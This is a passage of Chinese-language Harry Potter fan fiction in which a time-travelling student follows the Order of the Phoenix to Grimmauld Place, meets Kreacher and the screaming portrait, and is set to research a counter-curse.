“我们不能冒险。”
邓布利多倾听着他们的发言。
好几个人说了自己的住址,但似乎都不是最佳地点,他们的房子要么是太小了,要么就是位于偏僻的镇子中,要么就是有着一些无法明晰立场的巫师邻居。
所以,格里莫广场到底是什么地方?为什么现在还没有人提起?克洛娜想,难道要她提出来吗,难道格里莫广场是个废弃的建筑,或者是……根据上一次克洛娜所见到的卢平所说的,马尔福家的房子?
那个房子里的家养小精灵确实提到了“女主人”之类的事情。
就在这时,小天狼星说话了。
“凤凰社可以用我家族的房子。”
所有人都看向他。
“是布莱克家族的祖宅,”小天狼星继续说,“我是布莱克家族的最后一个人,房子现在归于我的名下了。里面的空间很大,能容纳数十上百号人还绰绰有余,还有不少客房。那栋房子上保密咒语不计其数,足以保证隐蔽和安全。”
“据我所知贝拉特里克斯和纳西莎都是布莱克家族的人。”邓布利多说。
“她们是我的堂亲,没有房子的直接继承权,只要我还活着。”
邓布利多睿智的蓝眼睛看向小天狼星。
他思考了片刻这个提议的可行性。
“关于机密性的问题,你有什么看法,小天狼星?”
“我们可以用一个咒语,让这栋房子永远不会被发现,”他说,“赤胆忠心咒。”
邓布利多显然早就知道他会说出这个魔法了。
“好,”邓布利多说,“既然是凤凰社的总部,那么保密人自然就是我。”
小天狼星飞快地点头,“我赞同。”
邓布利多举起魔杖,一连串复杂的拉丁文咒语缓慢地念出来:“Fidus et fidelis……Anima servat fidem……Numquam Leak secreta……”
小天狼星也立刻抽出自己的魔杖。
他念道:“Fidus et fidelis……latibulum……Akagi praesidium……”
金色的,由魔法凝结而成的细线在他们两人的魔杖之间漂浮,照亮整个旅馆房间。魔法从魔杖的握柄向手臂延伸,像是连通了两个灵魂。
咒语结束,光芒消退。
“现在你可以把地址告诉我了。”邓布利多说。
小天狼星转头问卢平:“莱姆斯,你有纸和笔吗?”
卢平从他刚修补过的大衣口袋里寻找,而后掏出一块平整的羊皮纸,以及一支铅笔,递给小天狼星。
长桌旁边没有人说话,窗外的夕阳越沉越低,猪头酒吧煤油灯罩内的灯光忽而亮了起来,房间里依然十分昏暗,小天狼星写字的时候,黑发微微垂了下去,挡住他的眉尾。克洛娜看到格里莫广场12号的地址顺着铅笔写了出来,字母流畅而优雅,像是几个排列在一起的音符一般。
小天狼星抬起头,视线和克洛娜撞在一起。
格里莫广场12号……
凤凰社总部。
是布莱克的祖宅,小天狼星的房子。
小天狼星一定也看到了克洛娜眼中的惊讶,他几乎立刻就知道了——克洛娜能看到这个地址,同样坐在小天狼星附近的卢平也亲眼看着他写字,但是他的目光并未停留在那张羊皮纸上,只是一扫而过,好像根本看不到小天狼星写了什么。
小天狼星折叠这张羊皮纸,和铅笔一起交给邓布利多,邓布利多看了一眼,记住了地址,翻过羊皮纸,在背面写了一行字,而后将其递给了麦格。
纸条一个人接着一个人地传了下去,克洛娜扫了一眼,上面写着“凤凰社的指挥部在格里莫广场12号”。
她翻过羊皮纸瞧了瞧,小天狼星写的那行字还在那里——格里莫广场12号。
为什么别人都是一副看不到小天狼星写出的字的样子,赤胆忠心咒的作用是保护一个秘密,那么这个秘密如果早就泄露了,别人会知道秘密的内容吗?
克洛娜在书上看到过赤胆忠心咒的作用方式。
这个咒语是为了保守一个秘密,将秘密藏在一个活人的灵魂中。通常用于隐蔽住宅。
只要保密人不泄密,那么别人就永远无法知道住宅的地址,这个咒语有绝对的防护效果,但弊端也很明显,秘密一旦泄露,没有任何能够挽救的办法,而保密人如果死亡,那么所有知道这个秘密的人,也都会自动成为保密人,这样一来,施咒和不施咒就完全不会有什么
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区别了。所以一般赤胆忠心咒只用于隐藏不想被人发现的住宅。
就像小天狼星蒙受冤屈的原因。
波特夫妇的赤胆忠心咒更换了保密人。
那么泄密之后赤胆忠心咒的效果还会存在吗?既然听到秘密的人会成为下一个保密人——要是将其称为次级保密人的话,次级保密人是没办法讲出这个秘密的。那么秘密也藏在次级保密人的灵魂中吗?
克洛娜的疑惑和纷杂的想法在脑海里发酵,不停地诞生新的想法。
赤胆忠心咒能跨越时间。
她早就知道格里莫广场12号的位置。
所以,也许,这个秘密是跟着她的灵魂一起跨越了时间,从1997年来到了1995年的现在。
最后一丝余晖终于从地平线消失了。
邓布利多宣布散会。
他说他会先跟着小天狼星去格里莫广场确认情况,等过段时间通知第二次会议,那时会议地点将转移去凤凰社指挥部的新地址。
之前一个接着一个来到猪头酒吧二楼旅馆的人,现在又逐一离开。他们每个人都间隔一段时间出门,避免在傍晚太过引人注意。
小天狼星终于和唐克斯闲聊了片刻。
“你都长这么高了。”小天狼星说。“安多米达怎么样了?”
“哦,她好的很。”
唐克斯可能是最快接受小天狼星不是杀人犯的人。
她在座位上坐了一会儿,就和金斯莱一起离开了。克洛娜听到他们在猪头酒吧外幻影移形的声音。
邓布利多、小天狼星、卢平和克洛娜留到了最后。
“如果我的计算无误,今年你应该参加N.E.W.T.考试了,克洛娜?”邓布利多问克洛娜。
克洛娜点了点头。
她只希望邓布利多没有把考试安排在假期结束时。
那样她的整个暑假恐怕真的会像小天狼星所说的那样,只能在过于紧迫的复习和补课中度过了。
“我会尽快把N.E.W.T.的试卷带给你。”邓布利多说。
“试卷?”
……试卷?
“哦,或许你还不知道这个,”邓布利多说,“克洛娜,霍格沃茨的学生名单里并没有你的名字。你应该已经清楚自身的情况了,时间回溯后你不会出现在已经被记录的卷宗中——”
小天狼星和卢平都安静地望着她。
“是的,我知道了。”她说,“去年我在上六年级。按照正常的时间来说,应该是明年……”
“看来明年我将你加入了学生名单中了,你拿到了O.W.L.成绩,是吗?”
“对。”
“这是最起码我能为你做的事,”邓布利多说,“这样的话,今年你就不能是霍格沃茨的学生了,从时间的角度,你大概无法从七年级毕业之后再回去上六年级,我很抱歉,克洛娜。所以这次的试卷不会是正式考试,而是你需要完成的自主测验。”
等等……
N.E.W.T.这么重要的考试,变成了非正式的自主测验。
她这辈子都没办法从霍格沃茨毕业了。
相当于被霍格沃茨开除了!
“其实不急……”克洛娜挣扎道。
这是个可以预测的结局,但是……
她可以离开霍格沃茨,也可以中途辍学。她身陷时间的漩涡,在时间中被所有人遗忘,这是她必然的命运。
所以能不能就这么……
免掉考试啊!
为什么辍学了之后还要考试啊!
邓布利多轻轻举起右手,他仿佛一下就猜到了克洛娜想说什么。
他从座椅上站起来。
“小天狼星,莱姆斯,我想你们两个完全具备N.E.W.T.的各种知识,今年我可能会麻烦缠身,所以烦劳你们帮助克洛娜学到她七年级应该学的内容。”
“没问题,包在我身上。”小天狼星想都没想就答应了。
“非常荣幸找回曾经的工作,”卢平说,“看来我这次真的要变成你的‘教授’了,克洛娜。”
“想好学什么咒语,克洛娜,”小天狼星笑嘻嘻地说,“我们能教你的可多了。”
邓布利多继续安排道:
“我想西弗勒斯也愿意在魔药学和草药学上帮点忙。”
“什么?!斯内普?”小天狼星震惊道,紧跟着厌恶地拖长了声音,“当真吗——?”
邓布利多直接站了起来,走向门口。“现在我们去格里莫广场看看吧。”
34.第 34 章
格里莫广场12号的大门刚打开,他们就听到屋内传来破口大骂的声音:“强盗,小偷,败类,杂种,滚出去!”
尖叫声穿透漆黑一片的门厅,震得墙壁几乎都在发抖。
黑暗中什么都看不到,空气里漂浮着腐朽的木头、阴冷的灰尘以及纸张发霉刺鼻的味道,那个粗砺的声音仍然在厉声咆哮,恐怖的声响震耳欲聋。
“滚出去!低劣的泥巴种!渣滓——!”
小天狼星愣住,脚步猛地顿了顿。
邓布利多堵住一只耳朵,他询问的声音完全被骂声盖了过去:“小天狼星,这个房子里还有人住吗?”
一个白色蝙蝠般的影子猛地从他们的前方闪过。
砰!!!
咣当!啪——
苍白的蝙蝠扑闪着大翅膀,与一个黑色的凶器一起向门口袭击而来,撞在邓布利多的防护魔法上,弹开,掉落,像是什么金属猛地砸在地上。空气里紧跟着一声爆响,那个袭击他们的生物凭空消失,接着又从另一个方向冲了过来,这次则是被小天狼星的铁甲咒震开。
邓布利多的魔杖尖端忽然点亮了一阵刺目的光芒。
那个袭击他们的生物并不是什么别的——
而是一个家养小精灵。
小天狼星向前走了一步,怒吼道,“住手!”
混乱戛然而止。
家养小精灵像是被火光吓退的魔鬼王一样向后萎缩而去。露出一双老态龙钟,雾蒙蒙的,充满邪恶和憎恨的眼睛。
克洛娜之前以为是蝙蝠翅膀的东西,其实是家养小精灵的大耳朵。
“少爷回来了。”家养小精灵用牛蛙般低哑的嗓子念叨着,“克利切每天都诚心地为少爷祈祷,希望他能烂在那所监狱里,但他还是回来了,带着肮脏的外人来玷污女主人的宅子。”
小天狼星的眼睛以可见的速度阴沉了下去。
他的嘴角绷紧了,脚步僵在门口,似乎是在思考用这栋房子当做凤凰社的总部到底是不是个好主意。
克洛娜的目光向门廊的角落看去,一口黑漆漆的,覆满尘垢的平底锅躺在满是灰尘的地板上。
家养小精灵刚才用平底锅袭击了他们……
“渣滓,强盗,小偷,败类,杂种——!”
黑暗深处的尖叫声仍然在继续,声音越发凄厉刺耳。克洛娜摸了摸自己的耳朵,感觉鼓膜已经流血了。
“那声音是什么。”小天狼星用命令的语气厉声问。
“少爷竟然不认识女主人的声音了。少爷是个忘恩负义的白眼狼,玷污家族高贵纯洁的名誉……”
“我的母亲已经去世了。”
“是的,女主人不在了,但是她的精神永驻。克利切不会让少爷在女主人去世之后,带着老败类,乞丐和泥巴种,闯进女主人的房子。”
家养小精灵站在门厅前方。似乎决定用他干瘪的、枯枝败叶一般的躯干阻挡他们的进入。
邓布利多听到老败类时并没有表现出怒容。而乞丐称呼对应的人,则苦笑了一下——卢平的大衣上还有一个最新打的补丁,确实有点像乞丐。
小天狼星和克利切僵持着。
过了几秒,小天狼星问:“她死前留下了什么?”
他的语气好像更厌烦了。
“女主人她交代给克利切看守好布莱克的祖宅,把她的画像挂在墙上,昼夜不停地注视这栋房子。”克利切说。
所以这就是他们听到的声音了……
邓布利多和卢平交换了一下目光。
持续不断的愤怒尖叫来自于一幅画像,就像霍格沃茨里挂着的那些画像一样。
家养小精灵又缓慢而神经兮兮地,自言自语地沙哑地咕哝道,“可怜的女主人,离开人世前说少爷变成了杀人犯被关进监狱,是她生下的败类,布莱克家的耻辱,她画了一幅画像,以防布莱克家的败类再次出现,好用她令人尊敬的言语,确保少爷明白他所做的恶事……”
小天狼星的面色变得更不好了。
他念了一句荧光闪烁,光球离开魔杖,向门厅深处飞。
在光线抵达的同时,那个正在尖叫的画像终于看清了小天狼星的脸。
“是你!”
画框中的布莱克夫人紧紧抓着画框的边缘,像是随时都有可能从油画里跳出来一样,她用凶神恶煞的疯狂目光怒视着小天狼星,变本加厉地嘶喊起来:
“孽子!布莱克家的毒瘤和耻辱!丑恶的罪过,一事无成的蠢货,可恶的浑蛋——!”
画像的声音陡然升了几倍高,像是数十上百封吼叫信一起点燃。
“安静一点吧——”小天狼星喊,他的魔杖指向画像,“无声无息!”
咒语没有生效。
“从我的房子里滚出去!不要让我再看到你!”
“咒立停!”
“——你怎敢还不知廉耻地在这里面对我!”
“无声无息!——移除诅咒!”
“怎么没让瘟病瘟死你——!你应该死在没人管的阴沟里,腐烂恶臭!你这个丑恶的败类,我生的孽种!”
“闭——嘴!!!”小天狼星猛甩了一下魔杖,“霹雳爆炸!”
火光一闪而过,扑向画像表面。
“败类——布莱克家的耻辱!”
“……”
邓布利多上前几步。
他们对着画像用了各种各样的咒语,试过粉碎画布,也试了让画像中的人永久消失的咒语,或者干脆把画框摘下来——但是无一例外,都失败了。邓布利多怀疑这是某种黑魔法,所以想用阳炎射线将画像整个烧掉,可就连阳炎射线都没有用。
无论他们用什么方式,布莱克夫人的画像就是屹立不倒。
十五分钟后,几个人毫无办法地站在画像前。
感觉像是在没有土壤和花盆的情况下,与彻底成熟的曼德拉草搏斗了一场。
“算了!”小天狼星愤怒地说,“她肯定把自己毕生所学的黑魔法都用于固定这个画像了。”
“可惜现在没有能消除永久粘贴咒的反咒问世,如果我们还有空闲的时间,我会尽力研究一个能起到类似作用的魔法,”邓布利多说,他用魔杖放大的声音在走廊里回旋,如同隆鸣的钟声,“把沃尔布加遮起来吧,现在只有这一个办法了。”
小天狼星大踏步走向起居室的方向。荧光闪烁的光线跟着他照亮这个阴沉沉的古老房子。
现在所有的家具都被遮挡了起来,天鹅绒的帷幔上落满了灰尘,虫蛀严重。蜘蛛感觉到了人的脚步声,匆忙逃走,小天狼星揭开沙发上最宽最大的那块帷幔,和卢平合力,将画像罩了起来——如果使用魔法,每次帷幔都会自动滑落下去。
门厅
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终于安静了下来。
小天狼星和卢平都气喘吁吁。而克利切已经不知道躲藏到哪里去了。
“克利切!”小天狼星向黑暗中喊。
而家养小精灵决心不露面。
小天狼星也不想再见到他,所以他直接对着一片漆黑命令道:“给自己找一件衣——”
看来他想给家养小精灵打发走。
正好。
克洛娜在心里隐隐期盼。
她不用说什么,或者改变什么。小天狼星自己大概就容忍不了:每天有这么一个对着他的脸骂脏话的家养小精灵在他眼前晃悠。
最好能遣散克利切。
克利切是卢平告诫过她的对象,她不出手阻止,历史或许就会朝着它本该发展的方向前进。或许克利切被遣散是注定的命运呢……
“等等。”邓布利多说。
“什么?”
“如果你是布莱克家的第一继承人的话,那么第二继承人是……”
“贝拉特里克斯。”小天狼星说,“哦。”
他烦躁地捋了一把刚才变得凌乱的头发。
“什么意思?你不是要遣散他吗?”克洛娜忍不住问道。
“对,但是他看到了我们。”小天狼星说。声音甚至有点粗暴。
“用一忘皆空。”克洛娜说。
“你也受不了这东西,对吧。”小天狼星抵触地扫了一眼门厅后方的黑暗,接着又看向邓布利多,“真的没有办法了?”
“那就要看他有多深的记忆了,我们确实可以用一忘皆空。”
“……”小天狼星的表情有一瞬间空白,“克利切的家族都是为布莱克效力的。”
“那就不能了。”邓布利多说。“让他把这件事整个都忘掉,就要从最初的记忆开始抹除,要是你放他自由,必须要保留离开布莱克家族的理由,而这个理由不能被一忘皆空影响,他仍然会回到这个房子里。”
“梅林在上。”小天狼星痛苦地说,“意思是我得一直留着克利切?你把他带走,不行吗,让他去霍格沃茨的厨房里工作?”
“我感觉他不会愿意的。”
“那我就命令他——”
“小天狼星,”邓布利多说道,“他已经看到了我们走进宅子的大门,你觉得要是他因为接到你的命令,而不得不去另一个地方工作,他会不会想方设法把你在这里的这件事说出来。”
克洛娜第一次见到小天狼星哑口无言的样子。
他和他家里的关系一定糟糕到极点了。
太糟糕了……
以至于他母亲要留下一幅画像专门谩骂他,死前还不忘记侮辱他,而祖宅里的家养小精灵以出卖他的生命为目标……
一定还有办法。克洛娜想。
她悄悄看向小天狼星。
这一次小天狼星的目光并不在她的身上。
“或者我们更换地址,另寻他处。我认为米勒娃的空房子或者陋居的安全性都很高。”
小天狼星的眉心蹙了蹙。
“不……”他的声音变得有些沙哑,眼睛里的光芒暗淡了一些,“用我的房子吧。”
“你可以试着和克利切相处。”邓布利多说,“保持友好,告诉他做什么,他是无法违背你的命令的。”
小天狼星心不在焉地给了个模棱两可的回答:“嗯。”
35.第 35 章
“不过我想给你布置一项作业,克洛娜。”邓布利多说。
“是的,先生?”
“现在我没有足够的时间去破解永久粘贴咒,我想把研究反咒的工作交给你,可以吗?”
“哦,好的……”克洛娜说。
她看向破旧、肮脏的天鹅绒帷幔。
邓布利多说:“小天狼星和莱姆斯会协助你,把沃尔加布从墙上挪下来,她已经积累了太多的愤怒,是时候回归平静了。我还需要你学会幻影移形和守护神咒,我想魔法部今年会全面监视飞路网,使用飞路网旅行不再安全了——小天狼星,你家的壁炉连通飞路网了吗?”
小天狼星点了点头。
邓布利多拒绝他遣散家养小精灵之后,他就开始一言不发。
“不要使用壁炉了,”邓布利多交代道,“如果需要传递紧急消息,就延续以前的方法吧。让莱姆斯的守护神来找我,我的守护神也会飞回这里。”
“明白了。”卢平说。
邓布利多转头,目光移向鬼屋般的格里莫广场12号。他挥动魔杖,盘绕着银色蛇形装饰的壁灯一个接一个地点亮,光线微弱,蒙在一层厚厚的灰尘后,蛛网层层盘绕,灯架如同地底墓穴里干燥的尸体,排列在破旧剥落的墙面上方。
“这个地方绝对需要做个大扫除。”邓布利多说。
……
小天狼星把克洛娜的房间安排在五楼。
这是一件主卧,打开房间后,克洛娜惊讶地发现这个房间竟然古典雅致,干净整洁,与门外阴暗肮脏、到处都铺满蜘蛛网模样完全相反。
房间内部空间开阔,床柱漆黑,上方细致地装饰着银色线条,古典而华贵。床帷是暗绿色的绸缎,宛如潮湿的森林。
床尾的正中间写了一行法语小字。
“Toujours pur”
永远纯洁……?
烛台、化妆盒以及梳妆用品还好好地待在原地,就像它们的主人刚离开不久。墙边摆了一张小桌子,上面放置了各种空酒器,其他的桌子上还有些精美到夸张的银质摆件,上面略有些落灰,清理的频率应该不算很高。黑漆衣柜表面印了两只对称的灰狗,像是家族徽记。绿色的天鹅绒窗帘死死拉着,穗子也是银线编织的,和小天狼星刚才带去遮挡他母亲画像的窗帘很像,只不过没有蛀虫。
克洛娜的目光看向枕头的方向。
哦,床上没有干瘪的尸体。
还好,还好。
小天狼星在门口发出一声讥嘲的冷笑。
“看来整栋房子只有这个房间还能住人了。”他说,语气非常冷硬,“我就知道。”
“这房间是……”
不难猜出,这个房间曾经的主人是谁。
“我母亲的。”小天狼星说,“你住吧。”
他抱起双臂,攥着自己的魔杖,站在门口,斜倚在门框上,姿势轻松,但身体却警戒般紧绷,眼神中透露出极度的厌恶。
“你要是不喜欢绿色的话,我就把它们都换掉。”
“哦,好的……”
“你喜欢什么颜色?”
他绕过克洛娜,走进房间,握着魔杖的手随意地挥动了一下。
“没有什么特别喜欢的颜色。”克洛娜说。
“那就都换成红色——”
啪!
老迈的家养小精灵猛地从空气里蹦出来。
“这是女主人的房间,少爷。”
“是啊,你以为我不知道?”小天狼星立刻毫不留情地说。
“克利切必须守护女主人最后留下的东西。”
“让开,克利切。这是命令。”
家养小精灵用愤怒而恶毒的声音诅咒道:“不争气的少爷准备毁坏女主人珍贵的房间了,少爷是个布莱克家的的败类……”
“是啊,我正打算给这个房间来个大变样。”
“少爷带着低劣的贱货污染女主人的房间,一个肮脏的小泥巴种——”
“闭嘴!”小天狼星恶狠狠地咆哮道,“滚去你自己的窝里待着!不然我就把你的舌头拔出来。”
“遵命,少爷……”
家养小精灵慢吞吞地从门口移走了,离开前还不忘用他那双浑浊的眼睛剜一眼克洛娜。
克洛娜:“……”
“对不起。”家养小精灵的身影消失之后,小天狼星说道。
他的心情看起来更差了。
“不,没关系,”克洛娜说,“这是我见到过最不友好的家养小精灵了。”
“这就是我长大的地方。”他说,“我本来以为这辈子都不用再回到这里了,但我还是在这里……克利切的年龄已经很大了,早就被我家族的那些扭曲的狂热言论洗脑了。”
“纯血统主义者。”
“正是。”
“你的家族也是纯血家族?”
“对,最古老的纯血家族之一,”他说。“‘永远纯洁''的布莱克家族。”
小天狼星说话时夹杂了一个弹舌音,像是傲慢的古老贵族拿腔作势时的腔调一样。看得出他应该是在模仿什么人,并且非常不屑一顾。
“校长办公室里挂着一副很讨厌的画像,”克洛娜说,“那是你的祖先吗?”
“菲尼亚斯·奈杰勒斯·布莱克,霍格沃茨历史上最不受待见的校长,很不幸,那是我的曾曾祖父。他还挂着一幅画像,就在这个宅邸里。”
“哦……”
“我希望我没有那么招人烦。”
“哦。”
“哦?”小天狼星的语气放松了一些,不像之前那么紧绷了,“说真的,我有吗?”
克洛娜微笑了一下。
“不过,”她想到上次回溯时卢平的警告,“我听闻家养小精灵会服从巫师的所有命令,但契约关系却不像夺魂咒那么有效,他们也不会完全听命令?”
“毕竟夺魂咒是三大不可饶恕咒,家养小精灵的契约可不是强迫他们做什么,更像是一种无条件的服从。你也看到了克利切——心甘情愿的待在这里的,平生最大的愿望就是把头砍下来挂在墙壁上。”
“把头砍下来?”
“有这么一面墙,”小天狼星心不在焉地说,“明天我带你去看,现在,我得把这个房间变个颜色,太像个蛇窝了。”
他用魔杖指了一下窗帘。
大面积的红色开始出现,绿色天鹅绒变成更厚更软的红色绒毛。
“好了很多。”他说,又走到床边,给床柱也用了个转色咒语。
床柱变成深咖色,如同干燥的橡木。接着,他又让衣柜和桌子统统换了个颜色。整个房间的阴郁深沉被温暖的红棕色和深金色取代。
像是夏日热烈的篝火。
“我和莱姆斯就住在这层另一个房间。”小天狼星对地板施咒,同时向克洛娜的方向走,他自然而然地脱口而出:“如果你想来找我,那里有个标牌,就在房间门上,写着名字——”
克洛娜正站在他和房间门口之间。
小天狼星停在三步外的地方,深色的眼睛看向克洛娜。
“好的。”克洛娜说。
虽然她肯定不会去打扰他们。
小天狼星转移目光,又看向家具,他换了个方向,往衣橱柜走去。
接着,他的魔杖杖尖指向那两条灰色的大狗,家族徽章立刻被抹除干净了。
“你可以自己修修改改什么的,”小天狼星说,“随便用咒语,别犹豫,炸了这个房间我都不介意。”
“好的,不过我尽量不炸了房子。”
“门锁是好用的。”他说。
“好的。”
“睡个好觉,克洛娜。”
小天狼星匆匆结束了对话。
他走向门口,在走廊尽头消失了,高大的背影被阴影隐没。
克洛娜回过身将门轻轻关上,门锁发出一声弹响。
门把手的颜色还没有变,仍然是冰凉、细腻、散发着银辉的蛇形模样。
看来小天狼星把这一处忘了。
如果他可以,克洛娜感觉他会让整个房子都变成和绿色完全相反的颜色。
和斯莱特林完全相反的颜色。
他和哈利都非常不喜欢斯内普。或许是因为斯内普是斯莱特林的院长?乌姆里奇掌权的时候,马尔福和他的跟班总是乐于找各种人的麻烦。克洛娜发现自己对斯莱特林也没有多大好感,如果小天狼星的家族都是纯血统里最恶劣的那一部分,那么他和家里关系不好也能理解了。
纯血家族对保持血统纯正的执念,就像文艺复兴时期的教皇被吸血鬼咬过,以至于将封建劣习一直延续至今。
他们一直都在近
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亲通婚,真的不担心变成智障吗?
当然了,巫师们肯定不会知道孟德尔的遗传学定律,对达尔文进化论也嗤之以鼻。
小天狼星看起来没有什么智力问题……
第二天,霍格沃茨最大的雕枭落在格里莫广场12号的门前,用尖利的爪子挠着大门。
几分钟后,卢平敲响克洛娜的房间门,交给她N.E.W.T.的书单以及好几本二手书。邓布利多还附上了一张羊皮纸,是他的手写便条,和克洛娜六年级时收到的那些便条一样,只有很简短的几句话,而且没有落款。
——这些书或许会对你的作业有帮助。
克洛娜看向书的封面,《高级魔咒解析与原理》,《法术方法论》,《当代魔咒学读本》,《高精尖咒语及其反咒》,《古代魔文研究》。这些书不是从图书馆借来的,或许是邓布利多自己的书,因为没有图书馆的编号。
“可以下楼吃饭了,”卢平说,“小天狼星弄了点吃的回来。”
卢平叹了一口气,忧心忡忡的样子。
克洛娜翻开那本《高精尖咒语及其反咒》。封面是纯黑色的,烫银字体整整齐齐地排列在上方。
邓布利多的书保存得十分完好,书页里还有羽毛笔写的批注,字体细长,笔记已经有些模糊,能看出,年代十分久远,可能这些书来自于更早的时候。
克洛娜翻看书的第一页。出版时间是1915年。
作者是一个叫塞巴斯蒂安·萨鲁的人。
天啊,这本书已经出了将近一个世纪了。但是印刷次数并不多,似乎只出了一版。
“我警告过他不要在格里莫广场附近这么做,但他决心不听我的。”卢平说。
“啊……?”克洛娜把自己的思绪拽回来,“那他没有被人发现吧?”
“没有,附近都是麻瓜,”卢平说,“我想或许你能跟他说一下这件事。邓布利多刚定下来指挥部,他在房子里才是最安全的。”
“好的。”克洛娜说。
然后她就把这件事忘得一干二净。
克洛娜将所有其他的书都堆放在床上,跟着卢平下楼吃早餐。
小天狼星不知道从哪个快餐店搞到了三个汉堡,并且还用咒语加热了肉饼,但克洛娜几乎没尝出来是什么味道。两位成年巫师简单清理过厨房和餐厅,现在椅子上勉强能坐人,克洛娜把书放在旁边,一边吃汉堡,一边看各个咒语的反咒理论都是什么。
如果她早就有这本书,或许能更早地找到神锋无影的解法,而不是因为操作失误而失血昏迷。
这本书从飞来咒和拦截咒的对抗性开始写。
从最简单的魔咒开始分析,咒语是怎样使用,会产生怎样的作用,又是怎样终止的。
反咒分为三种,或者三种以上的模式。
第一种,阻断魔力通路而起到终止效果,第二种,抵御魔咒对某个事物造成的影响,第三种,让魔咒逆向流动以产生完全相反的效果。
但这三种只是一般的破解办法。
另外还有用魔法抵消的魔法的方式,比如说,黑魔法。
比如说,诅咒。
看起来绝无破解可能,理论上也可以被力量更强大的魔法抵消。
只不过有些反咒还没有被现在的巫师发现而已。
作者这么写道。
——魔法分析应当是怎样?我们不禁提出了这样的一个问题,我之所以出版此书,是因为我的孪生妹妹在年少时遭受诅咒而一病不起,某些学者对力量强大的魔法讳莫如深,将其区分为黑魔法与白魔法,对黑魔法敬而远之,对白魔法又浅尝辄止,令人深感恐惧的诅咒没有破解的可能吗?我不这么认为,但愿本书能在你对魔法的深入探究和学习中为你提供新的方向和准则,作为一本内容丰富的实用书而存在。
“你在读什么书?”小天狼星终于发问道。
克洛娜抬起头。
卢平和小天狼星都坐在餐桌旁边,面前的桌子上扔着两卷汉堡包装废纸。
“是邓布利多给你留的作业?关于怎么把我的母亲从墙上摘下来?”
小天狼星好奇地向她手中的书看过来。
“哦,就是一些黑魔法——”克洛娜说。
小天狼星扬起一侧的眉毛。
克洛娜微笑,“——防御术。”